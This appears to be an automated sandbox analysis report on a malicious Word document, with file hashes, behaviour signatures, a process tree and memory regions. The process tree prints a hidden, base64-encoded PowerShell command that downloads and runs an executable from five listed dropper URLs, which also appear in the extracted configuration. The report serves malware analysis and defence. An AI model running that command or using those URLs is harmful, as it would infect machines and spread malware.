Analysis

  • max time kernel
    121s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 02:49

General

  • Target

    800f7b2a4a25677647075210637fc1a2add96910323f61dcaa173b8babe43cbe.doc

  • Size

    171KB

  • MD5

    8d183fb0a8ca3e9cda1c86a6e708354f

  • SHA1

    25808be5a59cc5ad84825e47e0de842fc67b2ef5

  • SHA256

    800f7b2a4a25677647075210637fc1a2add96910323f61dcaa173b8babe43cbe

  • SHA512

    17e08a8f0ebeb8870bd49e632849446f66753ca7961c229fc8617f32c535993201a88349238646b4c10c313cba85c4adf73974412641f83c89bc9a276266eff2

  • SSDEEP

    3072:Qh2y/GdyDktGDWLS0HZWD5w8K7Nk9dD7IBUdNGp4HAIoy:Qh2k4DtGiL3HJk9dD7bLPHAID

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://bepeterson.futurismdemo.com/archive/y5o7/

exe.dropper

http://www.gnc.happenizedev.com/backup/n99uf/

exe.dropper

http://odoo-accounting.com/wp-includes/rest-api/search/R/

exe.dropper

http://monoclepetes.com/disneyworldclassroom/sy52j7/

exe.dropper

http://bakestories.com/0hikvh/Jm4QTsHwF/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\800f7b2a4a25677647075210637fc1a2add96910323f61dcaa173b8babe43cbe.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2580
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2780
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABHAHgAZgB5AGcAaQBmAGIAcgBjAGQAPQAnAFMAcQBwAGoAdAB1AHAAZAB1AHAAeAAnADsAJABVAHkAcABkAGwAZQBpAHMAaAB1AGcAIAA9ACAAJwAxADYAMgAnADsAJABCAGcAYgB3AHcAbABjAGIAagB2AGcAaQA9ACcATABjAHcAbQBjAHcAbABzACcAOwAkAFIAYwBkAHQAaABnAGEAZQBwAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAeQBwAGQAbABlAGkAcwBoAHUAZwArACcALgBlAHgAZQAnADsAJABCAG0AYgBuAGwAaQBoAHQAYwBuAGUAdQBxAD0AJwBPAG0AcgBoAHUAYwBrAGgAbAAnADsAJABGAGYAaQB2AGQAdQBxAGkAdgBrAHMAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAUABhAGEAdABnAGUAagBhAHcAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAHAAZQB0AGUAcgBzAG8AbgAuAGYAdQB0AHUAcgBpAHMAbQBkAGUAbQBvAC4AYwBvAG0ALwBhAHIAYwBoAGkAdgBlAC8AeQA1AG8ANwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAbgBjAC4AaABhAHAAcABlAG4AaQB6AGUAZABlAHYALgBjAG8AbQAvAGIAYQBjAGsAdQBwAC8AbgA5ADkAdQBmAC8AKgBoAHQAdABwADoALwAvAG8AZABvAG8ALQBhAGMAYwBvAHUAbgB0AGkAbgBnAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBzAGUAYQByAGMAaAAvAFIALwAqAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBjAGwAZQBwAGUAdABlAHMALgBjAG8AbQAvAGQAaQBzAG4AZQB5AHcAbwByAGwAZABjAGwAYQBzAHMAcgBvAG8AbQAvAHMAeQA1ADIAagA3AC8AKgBoAHQAdABwADoALwAvAGIAYQBrAGUAcwB0AG8AcgBpAGUAcwAuAGMAbwBtAC8AMABoAGkAawB2AGgALwBKAG0ANABRAFQAcwBIAHcARgAvACcALgAiAFMAcABMAGAAaQBUACIAKAAnACoAJwApADsAJABTAGwAYgBpAGkAagBkAGMAdgBrAGsAcAA9ACcATgBtAGcAeQB6AHIAbABxACcAOwBmAG8AcgBlAGEAYwBoACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsAIABpAG4AIAAkAFAAYQBhAHQAZwBlAGoAYQB3ACkAewB0AHIAeQB7ACQARgBmAGkAdgBkAHUAcQBpAHYAawBzAGYALgAiAEQAYABvAHcAbgBgAEwATwBhAEQARgBJAEwARQAiACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsALAAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApADsAJABKAHUAawBpAHcAcQBlAHAAdgB0AHAAPQAnAFQAZgB1AHIAbwBrAHcAZQB4AGIAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApAC4AIgBMAGAAZQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMwAyADAAMgA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgB0ACIAKAAkAFIAYwBkAHQAaABnAGEAZQBwAHUAKQA7ACQATQBhAGcAYwBmAG8AeQBvAHkAdgA9ACcARwB1AHQAeABsAHIAdQBtACcAOwBiAHIAZQBhAGsAOwAkAFoAdwBmAGoAaQBtAHMAZQBiAD0AJwBWAGQAdQBtAG4AcgBlAHYAcQB3AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBrAGQAZAB1AHAAdgBxAHEAPQAnAEsAdwB2AGYAbAB2AHQAdAAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2724

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3968519D.wmf

      Filesize

      444B

      MD5

      a8274720ada0be159c5092371010d649

      SHA1

      fc570451facbac79f4e4e850a48d0bc0f233493e

      SHA256

      ad68472d516e060ed02a5ec99c13c8ef5d6d24cc140f8abc1ad4b1887f7f9de0

      SHA512

      817036beafc7db57bea1ae35ee0df9aef97f9ed7dc1696577a6f1efc9b15e48773138ded64c9f0f20b993be3b7070f39037acc2e5b6035ddf93fa78fb656fa3c

    • memory/2580-15-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2580-22-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2580-5-0x0000000006110000-0x0000000006210000-memory.dmp

      Filesize

      1024KB

    • memory/2580-0-0x000000002F8A1000-0x000000002F8A2000-memory.dmp

      Filesize

      4KB

    • memory/2580-12-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2580-14-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2580-13-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2580-16-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2580-2-0x0000000073FDD000-0x0000000073FE8000-memory.dmp

      Filesize

      44KB

    • memory/2580-21-0x0000000006210000-0x0000000006310000-memory.dmp

      Filesize

      1024KB

    • memory/2580-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2580-25-0x0000000006210000-0x0000000006310000-memory.dmp

      Filesize

      1024KB

    • memory/2580-39-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2580-38-0x0000000006210000-0x0000000006310000-memory.dmp

      Filesize

      1024KB

    • memory/2580-35-0x0000000073FDD000-0x0000000073FE8000-memory.dmp

      Filesize

      44KB

    • memory/2580-36-0x0000000006110000-0x0000000006210000-memory.dmp

      Filesize

      1024KB

    • memory/2580-37-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2724-32-0x0000000002510000-0x0000000002518000-memory.dmp

      Filesize

      32KB

    • memory/2724-31-0x000000001B210000-0x000000001B4F2000-memory.dmp

      Filesize

      2.9MB